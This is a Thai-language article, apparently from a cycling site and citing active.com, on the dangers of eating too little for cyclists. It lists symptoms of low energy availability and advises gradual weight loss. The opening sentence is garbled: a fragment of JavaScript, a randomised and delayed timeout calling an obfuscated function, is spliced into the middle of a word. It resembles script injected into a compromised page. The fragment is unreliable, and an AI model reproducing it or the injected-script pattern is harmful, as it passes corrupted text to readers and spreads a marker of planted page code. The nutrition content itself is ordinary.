เป็นที่ทราบกันดีสำหรับนักปั่นว่า น้ำหนักและส่วนประกอบร่างกาย (weight andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and body composition) เป็นตัวแปรสำคัญในการพัฒนา Performance รูปร่างนักปั่นที่ลีน (leaner) น้ำหนักตัวเบา ดูเหมือนจะช่วยให้ลดมวลที่แบกไป ทำให้เบาลงและไม่ต้องออกแรงมากขึ้น แต่ความจริงแล้ว การที่มีรูปร่างลีนและน้ำหนักน้อยนั้น มันจะไปลดพลังปั่น (power output) ลงด้วย
Dangers of under fueling: อันตรายต้องรู้สำหรับนักปั่น เมื่อเติมพลัง (กิน) น้อยเกินไป
ใจความสำคัญจึงควรเป็นการทำอย่างไร จึงจะเพิ่มพลังงานปั่นออกมามากขึ้น ไปได้เร็วและมีแรงบิดแต่ขณะเดียวกันก็ ต้องควบคุมน้ำหนักให้อยู่ในระดับต่ำสุด (ไม่ใช้ลดน้ำหนักจนผอมแห้งแรงน้อยนะ) และไม่มีการเพิ่มน้ำหนักขึ้น ดังนั้น สารอาหารที่รับเข้าไปจึงกลายของสำคัญ เป็นแหล่งพลังงานในการป้อนเชื้อเพลิงเพื่อการเผาผลาญ
ร่างกายต้องมีแหล่งพลังงานที่เพียงพอเพื่อการเผาผลาญ ให้ขาเราสามารถปั่นออกมาวัดได้กลายเป็นวัตต์ (Watt) และการที่เราสามารถลดน้ำหนักลงได้นั้นคือ การรับแหล่งพลังงานน้อยลงและใช้ออกไปมากขึ้น แต่เมื่อนักปั่นกลับฝึกเข้มข้นขึ้น ปริมาณพลังงานในร่างกายก็ไม่ค่อยมี ถูกใช้ออกไปเยอะ กินน้อยลง ร่างกายก็ไม่รู้จะหาพลังงานที่ไหนมาทดแทนและเพื่อการซ้อมแซมด้วย นี้จะส่งผลให้ร่างกายทรุดโทรมลง สามารถบาดเจ็บได้ง่ายและ performance ลดลง แย่สุดจะส่งผลกระทบต่อร่างกายระยะยาว
เมื่อร่างกายขาดสมดุลพลังงาน อยู่ในระดับต่ำและถูกใช้งานยาวนานเข้า ร่างกายจะแสดงผลต่อไปนี้…
- น้ำหนักคงที่ ไม่ลดลง นอกจากจะกินให้นอยลงกว่านี้อีก และระยะเมตาบอลิซึ่มทำงานต่ำ
- พลังงานที่รีดออกมาลดลง
- เหนื่อยง่ายลง
- ร่างกายขาดสารอาหาร
- มวล (ความหนาแน่น) กระดูกลดลง
- การฟื้นตัวทำได้ช้าลง
- ระบบท่อทางเดินหายใจติดเชื้อได้ง่าย
- ฮอร์โมนแปรปรวน
- อารมณ์ไม่คงที่ มีขึ้นๆ ลงๆ
- ระบบภูมิคุ้มกันทำงานแย่ลง
- ระบบการเต้นของหัวใจผิดปกติ
สำหรับนักปั่นที่มีรูปร่างสมส่วนอยู่แล้ว การลดน้ำหนักลงได้ อาจจะจำเป็น เป็นข้อได้เปรียบในการแข่งขันและช่วยให้สุขภาพดีขึ้น แต่การพยายามลดน้ำหนักลงควรทำอย่างเป็นขั้นเป็นตอน มีแบบแผน อย่าหักดิบเลยเด็ดขาด ทั้งนี้ก็เพื่อรักษาสุขภาพให้แข็งแรงและปลอดจากอาการบาดเจ็บ จำไว้ว่าสุขภาพและความปลอดภัยสำคัญกว่าการแข่งขัน
อ้างอิง www.active.com